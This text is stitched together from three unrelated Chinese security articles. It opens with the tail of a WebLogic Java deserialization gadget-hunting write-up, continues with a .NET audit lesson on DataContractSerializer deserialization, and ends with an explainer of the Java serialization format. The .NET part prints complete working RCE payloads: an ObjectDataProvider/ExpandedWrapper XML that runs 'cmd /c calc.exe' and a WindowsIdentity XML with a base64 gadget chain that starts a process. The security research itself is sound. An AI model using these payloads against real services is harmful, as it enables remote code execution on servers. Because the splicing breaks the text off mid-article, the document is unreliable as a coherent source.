但是就这么放弃是不可能的，我决定找到其他fromBinary的调用点，这里我选择直接打开JD-GUI搜，发现SimpleBinaryEntry这个看起来品相很好，它的getValue调用了ExternalizableHelper.fromBinary方法而其toString方法又调用了getValue。
这里还有细节需要注意m_serializer是transient的，如果用BadAttributeValueExpException.readObject()
-> TiedMapEntry.toString()是不可行的，后续反序列化会因为m_serializer为null而失败。
所以这里还是需要以readExternal为入口进来， ~~因为readExternal是不受transient限制的。~~
因为走这种反序列化当对象实现了SerializerAware时会自动插入serializer。
半自动化跑了一下，虽然没有绝对跑出来（没有用指针分析），但是有一个参考已经足够了：
## 小结
总结一下trik
* 在挖新的之前，可以[调研历史CVE和补丁学习前人思路](http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/)。
* 找二阶反序列化，二阶反序列化往往出现在readExternal处。二阶反序列化，既可以是标准的Byte字节流型（CVE-2016-0638），也可以是jrmp带外利用（CVE-2017-3248），还可以是一些变种比如这里的cve-2020-xxx01开发自实现的反序列化，甚至可以是开发在反序列化时使用了自己继承的ObjectInputStream里面但是里面重写readResolve方法（覆盖了原来的黑名单检查）。
* 自动化 | 社区文章 |
# .NET高级代码审计（第六课） DataContractSerializer反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0X00 前言
DataContractSerializer类用于序列化和反序列化 **Windows Communication Foundation (WCF)**
消息中发送的数据，用于把CLR数据类型序列化成XML流，它位于命名空间System.Runtime.Serialization，继承于System.Runtime.Serialization.XmlObjectSerializer，在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0X01 DataContractSerializer序列化
类名使用DataContractAttribute 标记，类成员使用DataMemberAttribute
标记，可指定要序列化的属性和字段，下面先来看这个系列课程中经典的一段代码
TestClass对象定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化，笔者定义TestClass对象，常规下使用WriteObject得到序列化后的XML数据
<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>
## 0x02 DataContractSerializer反序列化
### 2.1、反序列化原理和用法
反序列过程是将XML流或者数据转换为对象，在DataContractSerializer类中创建对象然后调用ReadObject方法实现的
首先看DataContractSerializer类的定义，创建实例的时候会带入类型解析器
然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType
反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法，省略一些非核心代码，进入InternalReadObject方法体内
ReadDataContractValue方法体内返回用ReadXmlValue处理后的数据，
从下图可以看出这是一个C#里的虚方法，在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。
下图Demo展示了序列化和反序列化前后的效果
反序列化后得到对象的属性，打印输出成员Name的值。
### 2.2、攻击向量—ObjectDataProvider
漏洞的触发点是在于初始化DataContractSerializer类实例时，参数类型解析器type是否可控，也就是说攻击者需要控制重构对象的类型，若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《
**.NET高级代码审计（第一课） XmlSerializer反序列化漏洞**
》，因为Process.Start之前需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序，然后需要对其做减法，去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据，下面是国外研究者提供的反序列化Payload
<?xml version=""1.0""?>
<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
<ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">
<__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>
<b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref=""ref1""/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
设计的Demo里使用ReadObject(new XmlTextReader(new
StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。
### 2.3、攻击向量—WindowsIdentity
第二种攻击方法使用WindowsIdentity类，这个类继承了ClaimsIdentity，并且实现了ISerializable接口，实现这个接口好处是可以控制你想反序列化的数据类型，此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《
**.NET高级代码审计（第二课） Json.Net反序列化漏洞** 》，下面是国外研究者提供的反序列化Poc
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
<System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>
</WindowsIdentity>
</root>
将Demo中的变量替换掉后，在抛出异常之前成功触发计算器，效果如下图
## 0x03 代码审计视角
### 3.1、ReadObject
从代码审计的角度很容易找到漏洞的EntryPoint，通过前面几个小节的知识能发现需要满足一个类型解析器type可控，再传入XML，就可以被反序列化，例如下面的DataContractSerializer类
## 0x04 案例复盘
1. 使用ObjectDataProvider攻击向量，输入<http://localhost:5651/Default> Post加载value值
2. 通过ReadObject 反序列化 ，并弹出计算器，网页返回200。
3. 使用WindowsIdentity攻击向量，输入<http://localhost:5651/Default> Post加载value值，弹出计算器的同时，服务也会挂掉。
最后附上动态效果图
## 0x05 总结
DataContractSerializer在实际开发中使用频率较高，但因type需可控才能实施攻击，所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。 | 社区文章 |
## 序列化机制
序列化 _（Serialization）_ 是指将数据结构或对象状态转换成字节流 _（例如存储成文件、内存缓冲，或经由网络传输）_
，以留待后续在相同或另一台计算机环境中，能够恢复对象原来状态的过程。序列化机制在Java中有着广泛的应用，EJB、RMI、Hessian等技术都以此为基础。
### 序列化
我们先用一个简单的序列化示例来看看Java究竟是如何对一个对象进行序列化的：
public class SerializationDemo implements Serializable {
private String stringField;
private int intField;
public SerializationDemo(String s, int i) {
this.stringField = s;
this.intField = i;
}
public static void main(String[] args) throws IOException {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bout);
out.writeObject(new SerializationDemo("gyyyy", 97777));
}
}
如果熟悉PHP的同学应该知道，这个对象在经过PHP序列化后得到的字符串如下
_（因为PHP与Java的编程习惯有所区别，这里字段访问权限全改为了`public`，`private`和`protected`从表现形式上来说差不多，只是多了些特殊的标识而已，为了减少一些零基础的同学不必要的疑惑，这里暂不讨论）_
：
O:17:"SerializationDemo":2:{s:11:"stringField";s:5:"gyyyy";s:8:"intField";i:97777;}
其中，`O:17:"..."`表示当前是一个对象，以及该对象类名的字符串长度和值，`2:{...}`表示该类有2个字段
_（元素间用`;`分隔，键值对也分为前后两个元素表示，也就是说，如果是2个字段，则总共会包含4个元素）_
，`s:11:"..."`表示当前是一个长度为11的字符串，`i:...`表示当前是一个整数。
由此可知，PHP序列化字符串基本上是可人读的，而且对于类对象来说，字段等成员属性的序列化顺序与定义顺序一致。我们完全可以通过手工的方式来构造任意一个PHP对象的序列化字符串。
而该对象经过Java序列化后得到的则是一个二进制串：
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 44 65 6d 6f d9 35 3c f7 d6 0a c6 ationDem o.5<....
d5 02 00 02 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL
00 0b 73 74 72 69 6e 67 46 69 65 6c 64 74 00 12 ..string Fieldt..
4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e Ljava/la ng/Strin
67 3b 78 70 00 01 7d f1 74 00 05 67 79 79 79 79 g;xp..}. t..gyyyy
仔细观察二进制串中的部分可读数据，我们也可以差不多分辨出该对象的一些基本内容。但同样为了手写的目的
_（为什么有这个目的？原因很简单，为了不被语言环境束缚）_ ，以及为接下来的序列化执行流程分析做准备，我们先依次来解读一下这个二进制串中的各个元素。
* `0xaced`，魔术头
* `0x0005`，版本号 _（JDK主流版本一致，下文如无特殊标注，都以JDK8u为例）_
* `0x73`，对象类型标识 _（`0x7n`基本上都定义了类型标识符常量，但也要看出现的位置，毕竟它们都在可见字符的范围，详见`java.io.ObjectStreamConstants`）_
* `0x72`，类描述符标识
* `0x0011...`，类名字符串长度和值 _（Java序列化中的UTF8格式标准）_
* `0xd9353cf7d60ac6d5`，序列版本唯一标识 _（`serialVersionUID`，简称SUID）_
* `0x02`，对象的序列化属性标志位，如是否是Block Data模式、自定义`writeObject()`，`Serializable`、`Externalizable`或`Enum`类型等
* `0x0002`，类的字段个数
* `0x49`，整数类型签名的第一个字节，同理，之后的`0x4c`为字符串类型签名的第一个字节 _（类型签名表示与JVM规范中的定义相同）_
* `0x0008...`，字段名字符串长度和值，非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值，如之后的`0x740012...`
* `0x78` Block Data结束标识
* `0x70` 父类描述符标识，此处为`null`
* `0x00017df1` 整数字段`intField`的值 _（Java序列化中的整数格式标准）_ ，非原始数据类型的字段则会按对象的方式处理，如之后的字符串字段`stringField`被识别为字符串类型，输出字符串类型标识、字符串长度和值
由此可以看出，除了基本格式和一些整数表现形式上的不同之外，Java和PHP的序列化结果还是存在很多相似的地方，比如除了具体值外都会对类型进行描述。
需要注意的是，Java序列化中对字段进行封装时，会按原始和非原始数据类型排序
_（有同学可能想问为什么要这么做，这里我只能简单解释原因有两个，一是因为它们两个的表现形式不同，原始数据类型字段可以直接通过偏移量读取固定个数的字节来赋值；二是在封装时会计算原始类型字段的偏移量和总偏移量，以及非原始类型字段的个数，这使得反序列化阶段可以很方便的把原始和非原始数据类型分成两部分来处理）_
，且其中又会按字段名排序。
而开头固定的`0xaced0005`也可以作为Java序列化二进制串 _（Base64编码为`rO0AB...`）_ 的识别标识。
让我们把这个对象再改复杂些：
class SerializationSuperClass implements Serializable {
private String superField;
}
class SerializationComponentClass implements Serializable {
private String componentField;
}
public class SerializationDemo extends SerializationSuperClass implements Serializable {
private SerializationComponentClass component;
// omit
}
它序列化后的二进制串大家可以自行消化理解一下，注意其中的嵌套对象，以及`0x71`表示的`Reference`类型标识
_（形式上与JVM的常量池类似，用于非原始数据类型的引用对象池索引，这个引用对象池在序列化和反序列化创建时的元素填充顺序会保持一致）_ ：
ac ed 00 05 73 72 00 11 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 44 65 6d 6f 1a 7f cd d3 53 6f 6b ationDem o....Sok
15 02 00 03 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL
00 09 63 6f 6d 70 6f 6e 65 6e 74 74 00 1d 4c 53 ..compon entt..LS
65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f 6d 70 erializa tionComp
6f 6e 65 6e 74 43 6c 61 73 73 3b 4c 00 0b 73 74 onentCla ss;L..st
72 69 6e 67 46 69 65 6c 64 74 00 12 4c 6a 61 76 ringFiel dt..Ljav
61 2f 6c 61 6e 67 2f 53 74 72 69 6e 67 3b 78 72 a/lang/S tring;xr
00 17 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 53 ..Serial izationS
75 70 65 72 43 6c 61 73 73 de c6 50 b7 d1 2f a3 uperClas s..P../.
27 02 00 01 4c 00 0a 73 75 70 65 72 46 69 65 6c '...L..s uperFiel
64 71 00 7e 00 02 78 70 70 00 01 7d f1 73 72 00 dq.~..xp p..}.sr.
1b 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 43 6f .Seriali zationCo
6d 70 6f 6e 65 6e 74 43 6c 61 73 73 3c 76 ba b7 mponentC lass<v..
dd 9e 76 c4 02 00 01 4c 00 0e 63 6f 6d 70 6f 6e ..v....L ..compon
65 6e 74 46 69 65 6c 64 71 00 7e 00 02 78 70 70 entField q.~..xpp
74 00 05 67 79 79 79 79 t..gyyyy
简单的分析一下序列化的执行流程：
1. `ObjectOutputStream`实例初始化时，将魔术头和版本号写入`bout` _（`BlockDataOutputStream`类型）_ 中
2. 调用`ObjectOutputStream.writeObject()`开始写对象数据
* `ObjectStreamClass.lookup()`封装待序列化的类描述 _（返回`ObjectStreamClass`类型）_ ，获取包括类名、自定义`serialVersionUID`、可序列化字段 _（返回`ObjectStreamField`类型）_ 和构造方法，以及`writeObject`、`readObject`方法等
* `writeOrdinaryObject()`写入对象数据
* 写入对象类型标识
* `writeClassDesc()`进入分支`writeNonProxyDesc()`写入类描述数据
* 写入类描述符标识
* 写入类名
* 写入SUID _（当SUID为空时，会进行计算并赋值，细节见下面关于SerialVersionUID章节）_
* 计算并写入序列化属性标志位
* 写入字段信息数据
* 写入Block Data结束标识
* 写入父类描述数据
* `writeSerialData()`写入对象的序列化数据
* 若类自定义了`writeObject()`，则调用该方法写对象，否则调用`defaultWriteFields()`写入对象的字段数据 _（若是非原始类型，则递归处理子对象）_
### 反序列化
继续用简单的示例来看看反序列化：
public static void main(String[] args) throws ClassNotFoundException {
byte[] data; // read from file or request
ByteArrayInputStream bin = new ByteArrayInputStream(data);
ObjectInputStream in = new ObjectInputStream(bin);
SerializationDemo demo = (SerializationDemo) in.readObject();
}
它的执行流程如下：
1. `ObjectInputStream`实例初始化时，读取魔术头和版本号进行校验
2. 调用`ObjectInputStream.readObject()`开始读对象数据
* 读取对象类型标识
* `readOrdinaryObject()`读取数据对象
* `readClassDesc()`读取类描述数据
* 读取类描述符标识，进入分支`readNonProxyDesc()`
* 读取类名
* 读取SUID
* 读取并分解序列化属性标志位
* 读取字段信息数据
* `resolveClass()`根据类名获取待反序列化的类的`Class`对象，如果获取失败，则抛出`ClassNotFoundException`
* `skipCustomData()`循环读取字节直到Block Data结束标识为止
* 读取父类描述数据
* `initNonProxy()`中判断对象与本地对象的SUID和类名 _（不含包名）_ 是否相同，若不同，则抛出`InvalidClassException`
* `ObjectStreamClass.newInstance()`获取并调用离对象最近的非`Serializable`的父类的无参构造方法 _（若不存在，则返回`null`）_ 创建对象实例
* `readSerialData()`读取对象的序列化数据
* 若类自定义了`readObject()`，则调用该方法读对象，否则调用`defaultReadFields()`读取并填充对象的字段数据
### 关于SerialVersionUID
在Java的序列化机制中，SUID占据着很重要的位置，它相当于一个对象的指纹信息，可以直接决定反序列化的成功与否，通过上面对序列化和反序列化流程的分析也可以看出来，若SUID不一致，是无法反序列化成功的。
但是，SUID到底是如何生成的，它的指纹信息维度包括对象的哪些内容，可能还是有很多同学不太清楚。这里我们对照[官方文档](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/class.html#a4100)的说明，结合JDK的源代码来为大家简单的梳理一下。
首先`ObjectStreamClass.getSerialVersionUID()`在获取SUID时，会判断SUID是否已经存在，若不存在才调用`computeDefaultSUID()`计算默认的SUID：
public long getSerialVersionUID() {
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}
先顺带提一嘴，`AccessController.doPrivileged()`会忽略JRE配置的安全策略的检查，以特权的身份去执行`PrivilegedAction`接口中的`run()`，可以防止JDK底层在进行序列化和反序列化时可能出现的一些权限问题。这些内容与本文主题无关，不多作详细解释，感兴趣的同学可以去看看Java的Security包和其中的java.policy、java.security文件内容。
重点来了，计算SUID时，会先创建一个`DataOutputStream`对象，所有二进制数据写入其包装的`ByteArrayOutputStream`中：
1. 写入类名 _（UTF8）_
dout.writeUTF(cl.getName());
2. 写入类访问权限标识
int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL |
Modifier.INTERFACE | Modifier.ABSTRACT);
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0) ?
(classMods | Modifier.ABSTRACT) :
(classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);
3. 如果不是数组类型，写入实现接口的接口名，按接口名排序
if (!cl.isArray()) {
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}
4. 写入非私有静态或瞬态字段信息数据，包括字段名、字段访问权限标识和字段签名，按字段名排序
Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
{
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}
5. 如果存在类初始化器 _（不是类实例化的构造方法，感兴趣的同学可以去看看JVM规范中的相关内容）_ ，写入固定的初始化器信息数据
if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V");
}
6. 写入非私有构造方法信息数据，包括方法名 _（固定为`<init>`）_ 、方法访问权限标识和方法签名 _（分隔符`/`会替换成`.`的包名形式）_ ，按方法签名排序
Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
7. 写入非私有方法，包括方法名、方法访问权限标识和方法签名，按方法名和方法签名排序
MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
以上就是SUID中包含的类的所有信息，得到的二进制串如下：
00 11 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 44 ..Serial izationD
65 6d 6f 00 00 00 01 00 14 6a 61 76 61 2e 69 6f emo..... .java.io
2e 53 65 72 69 61 6c 69 7a 61 62 6c 65 00 08 69 .Seriali zable..i
6e 74 46 69 65 6c 64 00 00 00 02 00 01 49 00 0b ntField. .....I..
73 74 72 69 6e 67 46 69 65 6c 64 00 00 00 02 00 stringFi eld.....
12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 .Ljava/l ang/Stri
6e 67 3b 00 06 3c 69 6e 69 74 3e 00 00 00 01 00 ng;..<in it>.....
16 28 4c 6a 61 76 61 2e 6c 61 6e 67 2e 53 74 72 .(Ljava. lang.Str
69 6e 67 3b 49 29 56 00 04 6d 61 69 6e 00 00 00 ing;I)V. .main...
09 00 16 28 5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e ...([Lja va.lang.
53 74 72 69 6e 67 3b 29 56 String;)V
最后，将二进制数据通过SHA1算法得到摘要，取前8位按BigEndian的字节顺序转换成长整型：
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
返回的`hash`就是最终的SUID了。
由此可知，当父类或非原始数据类型字段的类内部发生变更时，并不会影响当前类的SUID值，再结合之前的内容我们还可以引申出两个结论：
1. 若当前类自定义了`readObject()`，在反序列化时会正常执行`readObject()`中所有`ObjectInputStream.defaultReadObject()` _（如果调用了的话）_ 之前的逻辑；否则在处理到变更对象时，仍会抛出`InvalidClassException`
2. 由于序列化会对类的字段进行排序，并在反序列化时按顺序遍历处理，所以反序列化会正常处理字段名比变更对象类型字段『小』的其他字段
### 关于`writeReplace()`和`readResolve()`
在前面的执行流程分析中，为了突出主要逻辑，我们主观的忽略了一些内容，其中就包括了序列化的`invokeWriteReplace()`和反序列化的`invokeReadResolve()`。
现在就来看看它们分别有什么作用：
* `writeReplace()`
返回一个对象，该对象为实际被序列化的对象，在原对象序列化之前被调用，替换原对象成为待序列化对象
* `readResolve()`
返回一个对象，该对象为实际反序列化的结果对象，在原对象反序列化之后被调用，不影响原对象的反序列化过程，仅替换结果
再从具体示例来体会一下：
public class SerializationReplacementClass implements Serializable {
protected String replacementField;
